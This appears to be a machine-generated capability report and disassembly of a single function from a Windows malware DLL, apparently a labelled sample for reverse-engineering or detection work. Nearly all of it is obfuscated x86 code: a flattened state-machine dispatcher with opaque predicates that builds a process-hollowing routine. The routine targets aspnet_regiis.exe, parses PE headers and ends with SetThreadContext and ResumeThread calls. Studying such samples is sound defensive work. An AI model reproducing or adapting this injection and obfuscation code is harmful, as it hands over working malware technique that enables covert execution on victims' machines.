Function at 0x10002e70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x188
mov eax, dword [0x1006a200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x190], 0xecfa21de
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x194], eax
sub eax, 0x802339f4
je 0x10009a6b
jmp 0x10002eac
mov eax, dword [ebp - 0x194]
sub eax, 0x80a7fb2e
je 0x10005694
jmp 0x10002ec2
mov eax, dword [ebp - 0x194]
sub eax, 0x8120a24d
je 0x10005d0a
jmp 0x10002ed8
mov eax, dword [ebp - 0x194]
sub eax, 0x81b92d17
je 0x10009445
jmp 0x10002eee
mov eax, dword [ebp - 0x194]
sub eax, 0x82943b9e
je 0x100082a7
jmp 0x10002f04
mov eax, dword [ebp - 0x194]
sub eax, 0x8300e392
je 0x10007ddd
jmp 0x10002f1a
mov eax, dword [ebp - 0x194]
sub eax, 0x8454ec40
je 0x10007a64
jmp 0x10002f30
mov eax, dword [ebp - 0x194]
sub eax, 0x8458abc6
je 0x10009fab
jmp 0x10002f46
mov eax, dword [ebp - 0x194]
sub eax, 0x84b6f361
je 0x10006efe
jmp 0x10002f5c
mov eax, dword [ebp - 0x194]
sub eax, 0x85e485e6
je 0x10006b17
jmp 0x10002f72
mov eax, dword [ebp - 0x194]
sub eax, 0x866a0af4
je 0x10006fc0
jmp 0x10002f88
mov eax, dword [ebp - 0x194]
sub eax, 0x866e3d72
je 0x10009c43
jmp 0x10002f9e
mov eax, dword [ebp - 0x194]
sub eax, 0x876a76e3
je 0x100061cc
jmp 0x10002fb4
mov eax, dword [ebp - 0x194]
sub eax, 0x879f1f07
je 0x10005eea
jmp 0x10002fca
mov eax, dword [ebp - 0x194]
sub eax, 0x881f24be
je 0x1000a977
jmp 0x10002fe0
mov eax, dword [ebp - 0x194]
sub eax, 0x88d8b162
je 0x100060b8
jmp 0x10002ff6
mov eax, dword [ebp - 0x194]
sub eax, 0x8a014d2c
je 0x10007186
jmp 0x1000300c
mov eax, dword [ebp - 0x194]
sub eax, 0x8a558d89
je 0x10007674
jmp 0x10003022
mov eax, dword [ebp - 0x194]
sub eax, 0x8bf6b8ef
je 0x1000a9c5
jmp 0x10003038
mov eax, dword [ebp - 0x194]
sub eax, 0x8cf3e25e
je 0x10007f0c
jmp 0x1000304e
mov eax, dword [ebp - 0x194]
sub eax, 0x8f33ea22
je 0x1000acc8
jmp 0x10003064
mov eax, dword [ebp - 0x194]
sub eax, 0x8facd6b8
je 0x1000a9f3
jmp 0x1000307a
mov eax, dword [ebp - 0x194]
sub eax, 0x8ffb9638
je 0x1000ace7
jmp 0x10003090
mov eax, dword [ebp - 0x194]
sub eax, 0x9072f339
je 0x1000aa21
jmp 0x100030a6
mov eax, dword [ebp - 0x194]
sub eax, 0x90c74a66
je 0x10009af0
jmp 0x100030bc
mov eax, dword [ebp - 0x194]
sub eax, 0x90f976d0
je 0x1000589e
jmp 0x100030d2
mov eax, dword [ebp - 0x194]
sub eax, 0x917425f8
je 0x10009d49
jmp 0x100030e8
mov eax, dword [ebp - 0x194]
sub eax, 0x91dfb9cd
je 0x10008981
jmp 0x100030fe
mov eax, dword [ebp - 0x194]
sub eax, 0x936968e2
je 0x10005c67
jmp 0x10003114
mov eax, dword [ebp - 0x194]
sub eax, 0x93bfdaef
je 0x1000548d
jmp 0x1000312a
mov eax, dword [ebp - 0x194]
sub eax, 0x94243684
je 0x10005c38
jmp 0x10003140
mov eax, dword [ebp - 0x194]
sub eax, 0x9493589d
je 0x10007447
jmp 0x10003156
mov eax, dword [ebp - 0x194]
sub eax, 0x95300ed1
je 0x10008a80
jmp 0x1000316c
mov eax, dword [ebp - 0x194]
sub eax, 0x95b8aff0
je 0x10007fd1
jmp 0x10003182
mov eax, dword [ebp - 0x194]
sub eax, 0x967d74dc
je 0x100057c6
jmp 0x10003198
mov eax, dword [ebp - 0x194]
sub eax, 0x9763c186
je 0x10007c54
jmp 0x100031ae
mov eax, dword [ebp - 0x194]
sub eax, 0x97688d0c
je 0x10006783
jmp 0x100031c4
mov eax, dword [ebp - 0x194]
sub eax, 0x9779b8b7
je 0x10005590
jmp 0x100031da
mov eax, dword [ebp - 0x194]
sub eax, 0x97a16ec3
je 0x10008663
jmp 0x100031f0
mov eax, dword [ebp - 0x194]
sub eax, 0x97a56443
je 0x10006f4a
jmp 0x10003206
mov eax, dword [ebp - 0x194]
sub eax, 0x97ad7f96
je 0x10009088
jmp 0x1000321c
mov eax, dword [ebp - 0x194]
sub eax, 0x99548b71
je 0x10008047
jmp 0x10003232
mov eax, dword [ebp - 0x194]
sub eax, 0x9a3c77e7
je 0x10008bf2
jmp 0x10003248
mov eax, dword [ebp - 0x194]
sub eax, 0x9b241720
je 0x10005677
jmp 0x1000325e
mov eax, dword [ebp - 0x194]
sub eax, 0x9b6e2fba
je 0x10009964
jmp 0x10003274
mov eax, dword [ebp - 0x194]
sub eax, 0x9b74ad0d
je 0x100095c7
jmp 0x1000328a
mov eax, dword [ebp - 0x194]
sub eax, 0x9bdc03da
je 0x100063f4
jmp 0x100032a0
mov eax, dword [ebp - 0x194]
sub eax, 0x9be0d839
je 0x10005f62
jmp 0x100032b6
mov eax, dword [ebp - 0x194]
sub eax, 0x9e170e28
je 0x1000ad34
jmp 0x100032cc
mov eax, dword [ebp - 0x194]
sub eax, 0xa0702cb6
je 0x100060e6
jmp 0x100032e2
mov eax, dword [ebp - 0x194]
sub eax, 0xa07947f1
je 0x100095b8
jmp 0x100032f8
mov eax, dword [ebp - 0x194]
sub eax, 0xa0c1533b
je 0x1000a833
jmp 0x1000330e
mov eax, dword [ebp - 0x194]
sub eax, 0xa0e5ae7e
je 0x1000622c
jmp 0x10003324
mov eax, dword [ebp - 0x194]
sub eax, 0xa1386de5
je 0x10006846
jmp 0x1000333a
mov eax, dword [ebp - 0x194]
sub eax, 0xa13afad5
je 0x10007a17
jmp 0x10003350
mov eax, dword [ebp - 0x194]
sub eax, 0xa16611f1
je 0x1000ab83
jmp 0x10003366
mov eax, dword [ebp - 0x194]
sub eax, 0xa2112474
je 0x10005d9f
jmp 0x1000337c
mov eax, dword [ebp - 0x194]
sub eax, 0xa292c4f1
je 0x10007958
jmp 0x10003392
mov eax, dword [ebp - 0x194]
sub eax, 0xa347004e
je 0x1000a871
jmp 0x100033a8
mov eax, dword [ebp - 0x194]
sub eax, 0xa3c2e79f
je 0x10005c94
jmp 0x100033be
mov eax, dword [ebp - 0x194]
sub eax, 0xa3fea43a
je 0x10008cee
jmp 0x100033d4
mov eax, dword [ebp - 0x194]
sub eax, 0xa52dcbdf
je 0x100089cc
jmp 0x100033ea
mov eax, dword [ebp - 0x194]
sub eax, 0xa5c20c32
je 0x1000af79
jmp 0x10003400
mov eax, dword [ebp - 0x194]
sub eax, 0xa76cfa66
je 0x1000ac8a
jmp 0x10003416
mov eax, dword [ebp - 0x194]
sub eax, 0xa7ce0039
je 0x100072ae
mov dl, 1
mov eax, 0xf182fbb4
mov ecx, 0x23c5610e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
movss xmm0, dword [0x100183a4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x190], 0xe40f8ecc
jmp 0x1000afc6
mov dl, 1
mov eax, 0x215fc179
mov ecx, 0x80a7fb2e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
movss xmm0, dword [0x1001839c]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x190], 0x421b1901
jmp 0x1000afc6
mov dword [ebp - 0x190], 0x4dc4d08f
jmp 0x1000afc6
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0x118], xmm0
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0x408eb1f0
sub edx, 1
add edx, 0x408eb1f0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd8eba272
mov ecx, 0xa85f1b4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
movss xmm0, dword [0x10018380]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x1001837c]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x190], 0x936968e2
jmp 0x1000afc6
movss xmm0, dword [0x10018378]
movss dword [ebp - 0x11c], xmm0
mov dl, 1
mov eax, 0x612c072e
mov ecx, 0xa3c2e79f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0xb5802915
sub edx, 1
sub edx, 0xb5802915
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6cb87ff2
mov ecx, 0x8120a24d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
movss xmm0, dword [0x10018210]
movss dword [ebp - 0x11c], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0x8928f738
sub edx, 1
add edx, 0x8928f738
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6cb87ff2
mov ecx, 0xcd1d6b59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
movss xmm0, dword [0x10018374]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x190], 0x612c072e
jmp 0x1000afc6
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x10018208]
movss dword [ebp - 0x11c], xmm0
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcbf16acd
mov ecx, 0xbc045f40
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe4c850b
mov ecx, 0x7298c0dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov dword [ebp - 0x190], 0xd6a9c792
jmp 0x1000afc6
mov dl, 1
mov eax, 0x1047c5d
mov ecx, 0xfe8a1abf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov dword [ebp - 0x190], 0x1047c5d
jmp 0x1000afc6
movss xmm0, dword [0x10018204]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x10018200]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100181fc]
movss dword [ebp - 0x120], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0xb2240625
sub edx, 1
add edx, 0xb2240625
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x881f24be
mov ecx, 0xbba4143f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov dword [ebp - 0x190], 0x5d840c7
jmp 0x1000afc6
mov dl, 1
mov eax, 0xd2832783
mov ecx, 0x118a2863
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9072f339
mov ecx, 0x2585450
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
movss xmm0, dword [0x10018320]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001831c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x190], 0x4034be5d
jmp 0x1000afc6
mov dl, 1
mov eax, 0x451082f0
mov ecx, 0xbe7e160c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0xb6e07978
sub edx, 1
sub edx, 0xb6e07978
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdb68cdbc
mov ecx, 0x866a0af4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
add edx, 0x1aa1f030
sub edx, 1
sub edx, 0x1aa1f030
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdb68cdbc
mov ecx, 0x492e99a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0xfc5cb6a7
sub edx, 1
add edx, 0xfc5cb6a7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x290645e9
mov ecx, 0xd869bb78
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0x56c895b8
sub edx, 1
sub edx, 0x56c895b8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfdda1b14
mov ecx, 0xdff7f693
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfcb91468
mov ecx, 0xede7f042
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov dl, 1
mov eax, 0x775306af
mov ecx, 0x6bcddefb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov dword [ebp - 0x190], 0x2aa0e86d
jmp 0x1000afc6
mov dl, 1
mov eax, 0x7198f840
mov ecx, 0xf1961c8b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0x26d20cb5
sub edx, 1
add edx, 0x26d20cb5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc6245f20
mov ecx, 0x4440bb59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b39acdc
mov ecx, 0x218e46a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov dword [ebp - 0x190], 0x114ca11a
jmp 0x1000afc6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
add edx, 0x84d2f61f
sub edx, 1
sub edx, 0x84d2f61f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd477a426
mov ecx, 0x99548b71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
movss xmm0, dword [0x100181b8]
movss dword [ebp - 0x12c], xmm0
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd477a426
mov ecx, 0x70570180
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
movss xmm0, dword [0x10018290]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x1001828c]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x10018288]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x190], 0xf8b5dc09
jmp 0x1000afc6
movss xmm0, dword [0x10018274]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x190], 0xb1ba3e02
jmp 0x1000afc6
mov dword [ebp - 0x190], 0x306052d0
jmp 0x1000afc6
movss xmm0, dword [0x10018244]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x190], 0xd383132b
jmp 0x1000afc6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ef59058
mov ecx, 0x7edab5c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov dword [ebp - 0x190], 0x50d7698b
jmp 0x1000afc6
movss xmm0, dword [0x10018238]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x10018234]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x190], 0x6a1f5c6c
jmp 0x1000afc6
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x190], 0xed4131c3
jmp 0x1000afc6
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd0]
add eax, ecx
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x144]
sub eax, 0xf0ea4beb
add eax, 0x18
add eax, 0xf0ea4beb
mov ecx, dword [ebp - 0x144]
movzx edx, word [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x184], 0
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x190], 0x6e169ee2
jmp 0x1000afc6
mov dword [ebp - 0x190], 0x9b74ad0d
jmp 0x1000afc6
mov dl, byte [ebp - 0xc9]
mov eax, 0x866e3d72
mov ecx, 0xf49b81fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov ecx, dword [0x1006b528]
mov eax, dword [0x1006b524]
mov edx, ecx
sub edx, 0xf5be5863
sub edx, 1
add edx, 0xf5be5863
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5a34fa39
mov ecx, 0xe30e6b5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov dword [ebp - 0x190], 0xd4469706
jmp 0x1000afc6
mov eax, dword [ebp - 0x18c]
add eax, 0xb85edc29
add eax, 1
sub eax, 0xb85edc29
mov dword [ebp - 0xac], eax
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0xd8299afc
sub edx, 1
add edx, 0xd8299afc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b8e94ab
mov ecx, 0xed47fc42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
cmp dword [ebp - 0x170], 0
setne al
and al, 1
mov byte [ebp - 0xa5], al
mov dword [ebp - 0x190], 0x2d211db1
jmp 0x1000afc6
mov eax, dword [0x1006b528]
mov ecx, dword [0x1006b524]
mov edx, eax
sub edx, 0xc6291044
sub edx, 1
add edx, 0xc6291044
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc87e2c2e
mov ecx, 0xc4704f41
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x190], eax
jmp 0x1000afc6
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x190], 0x63738acc
jmp 0x1000afc6
movss xmm0, dword [0x10018228]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x190], 0xcf88a00
jmp 0x1000afc6
mov dword [ebp - 0x190], 0x2021e0a2
jmp 0x1000afc6
movss xmm0, dword [0x10018204]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x10018200]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x100181fc]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x190], 0xa0e5ae7e
jmp 0x1000afc6
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x190], 0xc41e9d98
jmp 0x1000afc6
movss xmm0, dword [0x100181f4]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x190], 0xb444cd18
jmp 0x1000afc6
mov dword [ebp - 0x190], 0xa1386de5
jmp 0x1000afc6
movss xmm0, dword [0x100181cc]
movss dword [ebp - 0x128], xmm0
mov dword [ebp - 0x190], 0x115602bb
jmp 0x1000afc6
movss xmm0, dword [0x100181ac]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x190], 0x2209f54a
jmp 0x1000afc6
movss xmm0, dword [0x100181a4]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x190], 0x5f2c09b7
jmp 0x1000afc6
movss xmm0, dword [0x100181a0]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x190], 0x5eac6145
jmp 0x1000afc6
movss xmm0, dword [0x10018198]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x10018194]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x190], 0x2d937205
jmp 0x1000afc6
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x190], 0x1be2294
jmp 0x1000afc6
jmp 0x10002e90